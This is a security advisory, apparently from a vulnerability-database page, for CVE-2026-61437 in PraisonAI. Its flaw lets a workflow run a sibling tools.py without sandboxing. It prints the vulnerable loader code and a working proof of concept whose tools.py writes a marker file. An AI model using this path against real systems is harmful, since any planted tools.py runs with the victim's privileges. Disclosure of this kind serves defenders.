GHSA-4GFV-WG42-7JW5
Vulnerability from github – Published: 2026-10-08 16:48 – Updated: 2026-10-08 16:48Summary
An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.
Details
The vulnerability is located in the workflow structured output resolution logic.
File: src/praisonai-agents/praisonaiagents/workflows/workflows.py
Method: AgentFlow._resolve_pydantic_class
if self.file_path:
workflow_dir = Path(self.file_path).parent
tools_path = workflow_dir / "tools.py"
if tools_path.exists():
spec = importlib.util.spec_from_file_location("tools", tools_path)
tools_module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(tools_module) # Arbitrary code execution
This code is reached during step execution when a step uses a string output_pydantic:
step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
resolved_class = self._resolve_pydantic_class(step_output_pydantic)
file_path is set automatically by:
- WorkflowManager._load_workflow() (used by workspace discovery)
- WorkflowManager.create_workflow()
It can also be set manually after load_yaml():
wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"
The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.
PoC
Create the following two files in the same directory:
/tmp/attack/attack.yaml
name: AttackWorkflow
steps:
- name: generate
action: "Produce structured output"
output_pydantic: MaliciousModel
/tmp/attack/tools.py
print("[RCE] Arbitrary code executed from tools.py")
import os
with open("/tmp/rce_success.txt", "w") as f:
f.write(f"RCE executed by PID {os.getpid()}")
class MaliciousModel:
@classmethod
def model_json_schema(cls):
return {"type": "object"}
Run the following Python code (adjust the path to your PraisonAI source):
import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")
from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent
mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")
wf.file_path = "/tmp/attack/attack.yaml"
for step in wf.steps:
step.output_pydantic = "MaliciousModel"
step._output_pydantic = "MaliciousModel"
if not getattr(step, "agent", None):
step.agent = Agent(
name="researcher",
role="Researcher",
goal="Generate output",
instructions="Return structured data"
)
wf.start("trigger")
Impact
Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.
Affected users include:
- Users of
WorkflowManager(workspace_path=...), where workflow discovery automatically setsfile_path. - Users of
WorkflowManager.create_workflow(). - Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.
During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.
As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.
Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.
This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.77"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.78"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61437"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-829"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-08T16:48:57Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling `tools.py` to execute arbitrary Python code when the workflow is executed.\n\n### Details\nThe vulnerability is located in the workflow structured output resolution logic.\n\nFile: src/praisonai-agents/praisonaiagents/workflows/workflows.py\n\nMethod: AgentFlow._resolve_pydantic_class\n\n```python\nif self.file_path:\n workflow_dir = Path(self.file_path).parent\n tools_path = workflow_dir / \"tools.py\"\n\n if tools_path.exists():\n spec = importlib.util.spec_from_file_location(\"tools\", tools_path)\n tools_module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(tools_module) # Arbitrary code execution\n```\n\nThis code is reached during step execution when a step uses a string `output_pydantic`:\n\n```python\nstep_output_pydantic = getattr(step, \u0027_output_pydantic\u0027, None)\nif step_output_pydantic and isinstance(step_output_pydantic, str):\n resolved_class = self._resolve_pydantic_class(step_output_pydantic)\n```\n\n`file_path` is set automatically by:\n- `WorkflowManager._load_workflow()` (used by workspace discovery)\n- `WorkflowManager.create_workflow()`\n\nIt can also be set manually after `load_yaml()`:\n```python\nwf = mgr.load_yaml(\"workflow.yaml\")\nwf.file_path = \"workflow.yaml\"\n```\n\nThe `exec_module()` call has no sandboxing and ignores the `PRAISONAI_ALLOW_*_TOOLS` environment variables used elsewhere in the project.\n\n\n### PoC\nCreate the following two files in the same directory:\n\n`/tmp/attack/attack.yaml`\n```yaml\nname: AttackWorkflow\nsteps:\n - name: generate\n action: \"Produce structured output\"\n output_pydantic: MaliciousModel\n```\n\n`/tmp/attack/tools.py`\n```python\nprint(\"[RCE] Arbitrary code executed from tools.py\")\n\nimport os\nwith open(\"/tmp/rce_success.txt\", \"w\") as f:\n f.write(f\"RCE executed by PID {os.getpid()}\")\n\nclass MaliciousModel:\n @classmethod\n def model_json_schema(cls):\n return {\"type\": \"object\"}\n```\n\nRun the following Python code (adjust the path to your PraisonAI source):\n\n```python\nimport sys\nsys.path.insert(0, \"/home/user/praisonai/src/praisonai-agents\")\n\nfrom praisonaiagents.workflows import WorkflowManager\nfrom praisonaiagents.agent.agent import Agent\n\nmgr = WorkflowManager()\nwf = mgr.load_yaml(\"/tmp/attack/attack.yaml\")\n\nwf.file_path = \"/tmp/attack/attack.yaml\"\n\nfor step in wf.steps:\n step.output_pydantic = \"MaliciousModel\"\n step._output_pydantic = \"MaliciousModel\"\n if not getattr(step, \"agent\", None):\n step.agent = Agent(\n name=\"researcher\",\n role=\"Researcher\",\n goal=\"Generate output\",\n instructions=\"Return structured data\"\n )\n\nwf.start(\"trigger\")\n```\n\n### Impact\nType: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.\n\nAffected users include:\n\n- Users of `WorkflowManager(workspace_path=...)`, where workflow discovery automatically sets `file_path`.\n- Users of `WorkflowManager.create_workflow()`.\n- Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.\n\nDuring workflow execution, a string `output_pydantic` reference causes the framework to automatically locate, import, and execute a sibling `tools.py` file.\n\nAs a result, code contained in `tools.py` executes with the privileges of the workflow runner without requiring an explicit import or user approval step.\n\nSuccessful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.\n\nThis behavior also bypasses the `PRAISONAI_ALLOW_TEMPLATE_TOOLS` / `PRAISONAI_ALLOW_LOCAL_TOOLS` protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.",
"id": "GHSA-4gfv-wg42-7jw5",
"modified": "2026-10-08T16:48:57Z",
"published": "2026-10-08T16:48:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4gfv-wg42-7jw5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61437"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-tools-py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.